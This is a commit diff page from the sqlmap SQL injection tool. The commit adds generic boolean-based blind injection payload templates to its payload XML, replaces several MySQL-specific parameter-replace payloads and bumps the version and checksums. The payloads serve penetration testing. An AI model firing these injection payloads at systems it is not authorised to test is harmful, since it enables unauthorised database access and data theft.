Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit cd08d13

Browse files
stamparmstamparm
committed
Adding a generic parameter replace payload
1 parent 8abae02 commit cd08d13

3 files changed

Lines changed: 41 additions & 71 deletions

File tree

‎lib/core/settings.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@
1919
from lib.core.enums import OS
2020

2121
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
22-
VERSION = "1.2.9.30"
22+
VERSION = "1.2.9.31"
2323
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2424
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2525
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

‎txt/checksum.md5‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ c8c386d644d57c659d74542f5f57f632 lib/core/patch.py
5050
0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py
5151
a7db43859b61569b601b97f187dd31c5 lib/core/revision.py
5252
fcb74fcc9577523524659ec49e2e964b lib/core/session.py
53-
64ae44f8e2b61c49354f3866ba40a926 lib/core/settings.py
53+
fa8c27b009a20b604ce2959e7f7d0696 lib/core/settings.py
5454
dd68a9d02fccb4fa1428b20e15b0db5d lib/core/shell.py
5555
a7edc9250d13af36ac0108f259859c19 lib/core/subprocessng.py
5656
248bd121e0565318e1efaff54aa427bc lib/core/target.py
@@ -474,7 +474,7 @@ d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml
474474
3059d50cf0cd17a403c17833f0bcd4df xml/boundaries.xml
475475
6cffc395cd0280f5c1a84542da6642e5 xml/errors.xml
476476
a279656ea3fcb85c727249b02f828383 xml/livetests.xml
477-
1d5d2027cabbd1c9ff317d97ae8fe92a xml/payloads/boolean_blind.xml
477+
4db0392af190e27f9e2af56a3249c5cb xml/payloads/boolean_blind.xml
478478
0656ba4132cd02477be90e65a7ddf6ce xml/payloads/error_based.xml
479479
06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml
480480
82c65823a0af3fccbecf37f1c75f0b29 xml/payloads/stacked_queries.xml

‎xml/payloads/boolean_blind.xml‎

Lines changed: 38 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -203,6 +203,40 @@ Tag: <test>
203203
</response>
204204
</test>
205205

206+
<test>
207+
<title>AND boolean-based blind - WHERE or HAVING clause (subquery) (Generic comment)</title>
208+
<stype>1</stype>
209+
<level>2</level>
210+
<risk>1</risk>
211+
<clause>1,8,9</clause>
212+
<where>1</where>
213+
<vector>AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</vector>
214+
<request>
215+
<payload>AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</payload>
216+
<comment>[GENERIC_SQL_COMMENT]</comment>
217+
</request>
218+
<response>
219+
<comparison>AND [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</comparison>
220+
</response>
221+
</test>
222+
223+
<test>
224+
<title>OR boolean-based blind - WHERE or HAVING clause (subquery) (Generic comment)</title>
225+
<stype>1</stype>
226+
<level>2</level>
227+
<risk>3</risk>
228+
<clause>1,9</clause>
229+
<where>2</where>
230+
<vector>OR [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</vector>
231+
<request>
232+
<payload>OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</payload>
233+
<comment>[GENERIC_SQL_COMMENT]</comment>
234+
</request>
235+
<response>
236+
<comparison>OR [RANDNUM]=(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</comparison>
237+
</response>
238+
</test>
239+
206240
<test>
207241
<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
208242
<stype>1</stype>
@@ -566,83 +600,19 @@ Tag: <test>
566600

567601
<!-- Boolean-based blind tests - Parameter replace -->
568602
<test>
569-
<title>MySQL &gt;= 5.0 boolean-based blind - Parameter replace</title>
603+
<title>Boolean-based blind - Parameter replace (original value)</title>
570604
<stype>1</stype>
571605
<level>1</level>
572606
<risk>1</risk>
573607
<clause>1,2,3</clause>
574608
<where>3</where>
575-
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
576-
<request>
577-
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
578-
</request>
579-
<response>
580-
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
581-
</response>
582-
<details>
583-
<dbms>MySQL</dbms>
584-
<dbms_version>&gt;= 5.0</dbms_version>
585-
</details>
586-
</test>
587-
588-
<test>
589-
<title>MySQL &gt;= 5.0 boolean-based blind - Parameter replace (original value)</title>
590-
<stype>1</stype>
591-
<level>2</level>
592-
<risk>1</risk>
593-
<clause>1,2,3</clause>
594-
<where>3</where>
595-
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
596-
<request>
597-
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
598-
</request>
599-
<response>
600-
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
601-
</response>
602-
<details>
603-
<dbms>MySQL</dbms>
604-
<dbms_version>&gt;= 5.0</dbms_version>
605-
</details>
606-
</test>
607-
608-
<test>
609-
<title>MySQL &lt; 5.0 boolean-based blind - Parameter replace</title>
610-
<stype>1</stype>
611-
<level>2</level>
612-
<risk>1</risk>
613-
<clause>1,2,3</clause>
614-
<where>3</where>
615-
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
609+
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</vector>
616610
<request>
617-
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
611+
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</payload>
618612
</request>
619613
<response>
620-
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
614+
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))</comparison>
621615
</response>
622-
<details>
623-
<dbms>MySQL</dbms>
624-
<dbms_version>&lt; 5.0</dbms_version>
625-
</details>
626-
</test>
627-
628-
<test>
629-
<title>MySQL &lt; 5.0 boolean-based blind - Parameter replace (original value)</title>
630-
<stype>1</stype>
631-
<level>3</level>
632-
<risk>1</risk>
633-
<clause>1,2,3</clause>
634-
<where>3</where>
635-
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
636-
<request>
637-
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
638-
</request>
639-
<response>
640-
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
641-
</response>
642-
<details>
643-
<dbms>MySQL</dbms>
644-
<dbms_version>&lt; 5.0</dbms_version>
645-
</details>
646616
</test>
647617

648618
<test>

0 commit comments

Comments
 (0)